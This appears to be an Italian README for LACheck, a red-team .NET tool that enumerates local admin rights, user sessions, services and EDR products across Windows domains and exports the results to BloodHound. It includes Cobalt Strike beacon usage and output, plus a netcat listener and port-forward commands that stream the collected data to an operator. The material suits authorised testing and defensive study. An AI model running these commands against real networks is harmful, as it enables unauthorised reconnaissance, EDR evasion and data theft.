
Assembly C# .NET multithread per enumerare i privilegi amministrativi locali su host Windows tramite SMB, WMI e WinRM, con integrazione BloodHound per la ricognizione di Active Directory.
Enumerazione dei privilegi amministrativi locali con assembly .NET C# multithread
> ./LACheck.exe help
_ _____ _ _
| | /\ / ____| | | |
| | / \ | | | |__ ___ ___| | __
| | / /\ \ | | | '_ \ / _ \/ __| |/ /
| |____ / ____ \ | |____| | | | __/ (__| <
|______/_/ \_\ \_____|_| |_|\___|\___|_|\_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]
Local Admin Checks:
smb - Tenta di accedere alla condivisione C$
rpc - Tenta una query WMI sul provider della classe Win32_ComputerSystem tramite RPC
winrm - Tenta una query WMI sul provider della classe Win32_ComputerSystem tramite sessione WinRM
Arguments:
/bloodhound - genera un file di raccolta AdminTo e Session compatibile con BloodHound
il file di output è zippato e crittografato con nome e password casuali
/dc - specifica il controller di dominio da interrogare (se non eseguito su un host aggiunto al dominio)
/domain - specifica il nome del dominio (se non eseguito su un host aggiunto al dominio)
/edr - verifica la presenza di EDR sull'host (richiede smb, rpc o winrm)
/logons - restituisce gli utenti connessi su un host (richiede smb, rpc o winrm)
/registry - enumera le sessioni dal registro di sistema (richiede smb)
/services - restituisce i servizi in esecuzione come utenti (richiede smb, rpc o winrm)
/socket - invia l'output di BloodHound a un socket TCP invece di scriverlo su disco
es: ""127.0.0.1:8080""
/targets - elenco separato da virgole di hostname da controllare
/threads - specifica il numero massimo di thread paralleli (predefinito=25)
/user - specifica il nome utente sotto cui è stata eseguita la raccolta (utile durante la manipolazione dei token)
/validate - verifica le credenziali contro il dominio prima di scansionare i target (utile durante la manipolazione dei token)
/verbose - stampa informazioni di log aggiuntive
/ou - specifica l'unità organizzativa LDAP da cui interrogare gli oggetti computer abilitati
es: "OU=Special Servers,DC=example,DC=local"
/ldap - interroga gli host con i seguenti filtri LDAP:
:all - Tutti i computer abilitati con gruppo 'primario' 'Computer del dominio'
:dc - Tutti i controller di dominio abilitati (non controller di dominio di sola lettura)
:exclude-dc - Tutti i computer abilitati che non sono controller di dominio o controller di dominio di sola lettura
:servers - Tutti i server abilitati
:servers-exclude-dc - Tutti i server abilitati esclusi i controller di dominio o i controller di dominio di sola lettura
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
Come visto nell'esempio di output sopra, tentare di controllare WinRM sull'host all'indirizzo IP 10.10.10.10 genererà un errore poiché il client WinRM non tenta di autenticarsi a un host tramite indirizzo IP.
Utilizzare i nomi host quando si tenta di controllare l'accesso WinRM.
I flag /targets, /ldap e /ou possono essere usati insieme o separatamente per generare un elenco di host da enumerare.
Tutti gli host restituiti da questi flag vengono combinati e deduplicati prima che l'enumerazione inizi.
LACheck supporta la scrittura delle raccolte AdminTo e Session in output JSON che può essere caricato in BloodHound
Questo output è inteso solo per arricchire una raccolta BloodHound esistente con privilegi amministrativi aggiornati per un singolo utente e sessioni raccolte da host per i quali sono stati identificati privilegi amministrativi.
L'opzione /bloodhound scriverà su disco un file zip crittografato con nome casuale che può essere scaricato, estratto e caricato in BloodHound
BloodHound richiede la risoluzione di utenti e computer in SID. A causa di tecniche di impersonificazione come make_token e kerberos_ticket_use di Cobalt Strike, LACheck potrebbe non essere in grado di determinare con precisione il contesto utente per una raccolta. L'argomento /user è necessario per fornire a LACheck il userprincipalname (formato = [email protected]) del contesto sotto cui è eseguito per correlare accuratamente le informazioni di raccolta.
L'output di BloodHound può essere inviato a un socket TCP invece di essere scritto su disco.
Se la connessione TCP fallisce, l'output di BloodHound verrà scritto su disco.
In un beacon Cobalt Strike, le connessioni TCP possono essere inoltrate da un host alla macchina locale dell'operatore usando rportfwd_local:
rportfwd_local 8888 127.0.0.1 8888
Un operatore può quindi reindirizzare l'output del flusso TCP a un file locale usando netcat:
nc -lvnp 8888 > computers.json
− = non implementato
Ispirato da script EDR.cna di harleyQu1nn
Il metodo Directory.GetFiles restituisce un elenco di driver da:
I driver vengono confrontati con un elenco di driver noti utilizzati dai fornitori di EDR.
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
NetWkstaUserEnum restituisce un elenco di utenti con accessi interattivi, servizio e batch
WTSEnumerateSessionsA restituisce un elenco di sessioni RDP su un host
WTSQuerySessionInformationA recupera informazioni dettagliate per ogni sessione RDP
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
Itera attraverso i SID nell'hive \\Computer\HKEY_USERS\, tenta di accedere a Volatile Environment per ogni SID e recupera i valori dalle chiavi USERDOMAIN e USERNAME.
Questo metodo richiede che il servizio Registro remoto sia in esecuzione su un host remoto. Se non lo è:
AutomaticA causa del processo potenzialmente multi-step per enumerare ogni host, questo metodo potrebbe essere più lento rispetto a tecniche alternative. smb /logons è più veloce
[registry] WEB01 - contoso\devadmin (svcadmin)
Il metodo ServiceController.GetServices recupera un elenco di servizi su un host
Ogni servizio viene interrogato per determinare l'utente con cui è configurato per essere eseguito.
Poiché ogni servizio deve essere interrogato individualmente, questo metodo potrebbe essere più lento rispetto a tecniche alternative. wmi /services è più veloce
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
Ispirato da script EDR.cna di harleyQu1nn
La classe CIM_DataFile restituisce un elenco di driver da:
I driver vengono confrontati con un elenco di driver noti utilizzati dai fornitori di EDR.
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
La classe Win32_LoggedOnUser restituisce un elenco di sessioni connesse
La classe Win32_LogonSession restituisce informazioni dettagliate per ogni sessione
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
Esegue una query sulla classe Win32_UserProfile per recuperare i SID dei profili utente su un sistema.
Il metodo EnumKey della classe StdRegProv recupera l'hive \\Computer\HKEY_USERS\ e tenta di accedere a Volatile Environment per ogni SID restituito per recuperare i valori dalle chiavi USERDOMAIN e USERNAME.
[registry] WEB01 - contoso\devadmin (svcadmin)
Esegue una query sulla classe Win32_Service per recuperare il nome, l'utente e lo stato dei servizi
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
Ogni controllo WMI è anche implementato usando Risorse WMI e Enumerazione WMI su WinRM.
Questo evita l'uso di spazi di esecuzione PowerShell.
| SMB | WMI | WinRM |
|---|
| /edr | veloce | veloce | veloce |
| /logons | veloce | veloce | veloce |
| /services | lento | veloce | veloce |
| /registry | lento | veloce | - |